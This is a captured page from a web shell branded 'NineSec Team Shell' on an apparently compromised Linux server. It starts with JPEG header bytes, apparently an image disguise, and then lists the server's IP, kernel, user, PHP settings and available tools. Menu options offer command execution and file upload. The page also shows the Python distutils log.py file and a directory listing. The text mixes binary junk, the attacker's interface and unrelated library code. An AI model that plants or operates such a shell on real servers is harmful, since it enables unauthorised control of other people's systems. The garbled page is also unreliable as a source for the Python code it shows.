�����JFIF��������(ICC_PROFILE���������mntrRGB XYZ ������������acsp�������������������������������������-��������������������������������������������������� desc�������trXYZ��d���gXYZ��x���bXYZ������rTRC������(gTRC������(bTRC������(wtpt������cprt������ NineSec Team Shell
NineSec Team Shell
Server IP : 51.38.211.120  /  Your IP : 216.73.216.188
Web Server : Apache
System : Linux bob 5.15.85-1-pve #1 SMP PVE 5.15.85-1 (2023-02-01T00:00Z) x86_64
User : readytorun ( 1067)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0755) :  /etc/ldap/../etckeeper/../../usr/lib/initramfs-tools/../python3.9/distutils/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : //etc/ldap/../etckeeper/../../usr/lib/initramfs-tools/../python3.9/distutils/log.py
"""A simple log mechanism styled after PEP 282."""

# The class here is styled after PEP 282 so that it could later be
# replaced with a standard Python logging implementation.

DEBUG = 1
INFO = 2
WARN = 3
ERROR = 4
FATAL = 5

import sys

class Log:

    def __init__(self, threshold=WARN):
        self.threshold = threshold

    def _log(self, level, msg, args):
        if level not in (DEBUG, INFO, WARN, ERROR, FATAL):
            raise ValueError('%s wrong log level' % str(level))

        if level >= self.threshold:
            if args:
                msg = msg % args
            if level in (WARN, ERROR, FATAL):
                stream = sys.stderr
            else:
                stream = sys.stdout
            try:
                stream.write('%s\n' % msg)
            except UnicodeEncodeError:
                # emulate backslashreplace error handler
                encoding = stream.encoding
                msg = msg.encode(encoding, "backslashreplace").decode(encoding)
                stream.write('%s\n' % msg)
            stream.flush()

    def log(self, level, msg, *args):
        self._log(level, msg, args)

    def debug(self, msg, *args):
        self._log(DEBUG, msg, args)

    def info(self, msg, *args):
        self._log(INFO, msg, args)

    def warn(self, msg, *args):
        self._log(WARN, msg, args)

    def error(self, msg, *args):
        self._log(ERROR, msg, args)

    def fatal(self, msg, *args):
        self._log(FATAL, msg, args)

_global_log = Log()
log = _global_log.log
debug = _global_log.debug
info = _global_log.info
warn = _global_log.warn
error = _global_log.error
fatal = _global_log.fatal

def set_threshold(level):
    # return the old threshold for use from tests
    old = _global_log.threshold
    _global_log.threshold = level
    return old

def set_verbosity(v):
    if v <= 0:
        set_threshold(WARN)
    elif v == 1:
        set_threshold(INFO)
    elif v >= 2:
        set_threshold(DEBUG)

NineSec Team - 2022
Name
Size
Last Modified
Owner
Permissions
Options
..
--
March 29 2022 11:09:06
root
0755
command
--
March 29 2022 9:53:24
root
0755
README
0.236 KB
May 11 2021 10:35:23
root
0644
_msvccompiler.py
19.538 KB
May 11 2021 10:35:23
root
0644
archive_util.py
8.371 KB
May 11 2021 10:35:23
root
0644
bcppcompiler.py
14.545 KB
May 11 2021 10:35:23
root
0644
ccompiler.py
46.306 KB
May 11 2021 10:35:23
root
0644
cmd.py
17.655 KB
May 11 2021 10:35:23
root
0644
config.py
4.714 KB
May 11 2021 10:35:23
root
0644
core.py
8.668 KB
May 11 2021 10:35:23
root
0644
cygwinccompiler.py
15.996 KB
May 11 2021 10:35:23
root
0644
debug.py
0.136 KB
May 11 2021 10:35:23
root
0644
dep_util.py
3.409 KB
May 11 2021 10:35:23
root
0644
dir_util.py
8.168 KB
May 11 2021 10:35:23
root
0644
dist.py
49.204 KB
May 11 2021 10:35:23
root
0644
errors.py
3.493 KB
May 11 2021 10:35:23
root
0644
extension.py
10.269 KB
May 11 2021 10:35:23
root
0644
fancy_getopt.py
17.367 KB
May 11 2021 10:35:23
root
0644
file_util.py
7.957 KB
May 11 2021 10:35:23
root
0644
filelist.py
12.531 KB
May 11 2021 10:35:23
root
0644
log.py
1.923 KB
May 11 2021 10:35:23
root
0644
msvc9compiler.py
29.739 KB
May 11 2021 10:35:23
root
0644
msvccompiler.py
22.988 KB
May 11 2021 10:35:23
root
0644
spawn.py
4.289 KB
May 11 2021 10:35:23
root
0644
sysconfig.py
21.532 KB
May 11 2021 10:35:23
root
0644
text_file.py
12.19 KB
May 11 2021 10:35:23
root
0644
unixccompiler.py
14.968 KB
May 11 2021 10:35:23
root
0644
util.py
20.423 KB
May 11 2021 10:35:23
root
0644
versionpredicate.py
5.013 KB
May 11 2021 10:35:23
root
0644

NineSec Team - 2022